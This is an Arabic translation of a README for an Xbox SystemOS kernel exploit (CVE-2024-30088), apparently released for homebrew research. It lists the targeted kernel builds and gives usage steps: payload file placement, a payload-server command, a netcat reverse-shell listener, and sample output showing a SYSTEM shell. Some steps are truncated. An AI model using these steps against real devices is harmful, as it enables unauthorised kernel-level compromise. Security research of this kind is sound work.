
استغلال Kernel لنظام Xbox SystemOS باستخدام CVE-2024-30088
الأضرار الجانبية هو استغلال للنواة (kernel) في نظام Xbox SystemOS باستخدام CVE-2024-30088. يستهدف أجهزة Xbox One و Xbox Series التي تعمل بإصدارات النواة 25398.4478 و 25398.4908 و 25398.4909. نقطة الدخول الأولية تكون عبر تطبيق Game Script UWP.
يتم توفير الحمولات الأولية، محمل PE ومحمل الشبكة، بواسطة Solstice.
تم تطوير هذا الاستغلال بواسطة Emma Kirkpatrick (اكتشاف الثغرة واستغلالها) و Lander Brandt (Solstice)
لوضع الحمولة محليًا على جهاز Xbox، يُوصى باستخدام مستكشف كامل الثقة مثل Adv File Explorer (FullTrust). بدلاً من ذلك، يمكن تقديم الحمولة الأولية عبر محاكي لوحة مفاتيح USB (rubber ducky إلخ) ويمكن تحميل مراحل الحمولة التالية عبر الشبكة.
يتطلب مثال الصدى العكسي (reverse shell) المقدم هنا أن يكون جهازك متصلاً بشبكة. عند توصيل جهازك بشبكة، كن حذرًا جدًا لتجنب الاتصال بالإنترنت والتحديث. حاول منع الاتصال بـ Xbox LIVE قدر الإمكان، على الأقل عن طريق ضبط DNS إلى خوادم غير صالحة.
هذا الاستغلال ليس موثوقًا تمامًا. يعتمد على قناة جانبية لوحدة المعالجة المركزية (CPU side channel) بالإضافة إلى حالة سباق (race condition)، وكلاهما معرض للفشل. في حالة الفشل، قد ينبهك الاستغلال بفشله عبر مخرجات الشبكة، أو قد يتعطل الجهاز ويعيد التشغيل.
gamescript_autosave_network.txt أو gamescript_autosave.txt لاحتواء عنوان IP المحلي لجهاز الكمبيوتر الخاص بك.
gamescript_autosave.txt و stage2.bin و run.exe إلى دليل LocalState الخاص بتطبيق Game Script على جهازك (Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)gamescript_autosave_network.txt في نافذة GameScript. قم بتقديم stage2.bin و run.exe عبر payload_server_win_x64.exe --stage2 stage2.bin --run run.exenc64.exe -lvnp 7070)listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
هناك الكثير من العمل الإضافي المطلوب لجعل هذه الأداة سهلة الاستخدام لتحميل البرامج المنزلية (homebrew) على Xbox، لكني آمل أن تكون نقطة انطلاق جيدة :) إذا كنت ترغب في تجربة تشغيل الكود بصلاحيات SYSTEM، يمكنك وضع كودك في دالة post_exploit في ملف post_exploit.c.
هناك الكثير مما يمكن فعله، ولكن بما أن جزء النواة قد اكتمل، أردت مشاركته مع المجتمع حتى يتمكن المطورون من البدء في التجربة بصلاحيات SYSTEM. إليك بعض الأشياء التي ما زلت آمل في إضافتها في المستقبل:
الأفكار الإضافية مرحب بها :)
شكرًا لكل من ساعدني في العصف الذهني وشاركني معرفته ووقته طوال هذا العمل!!! بعض الأشخاص الذين أود أن أظهر لهم تقديري: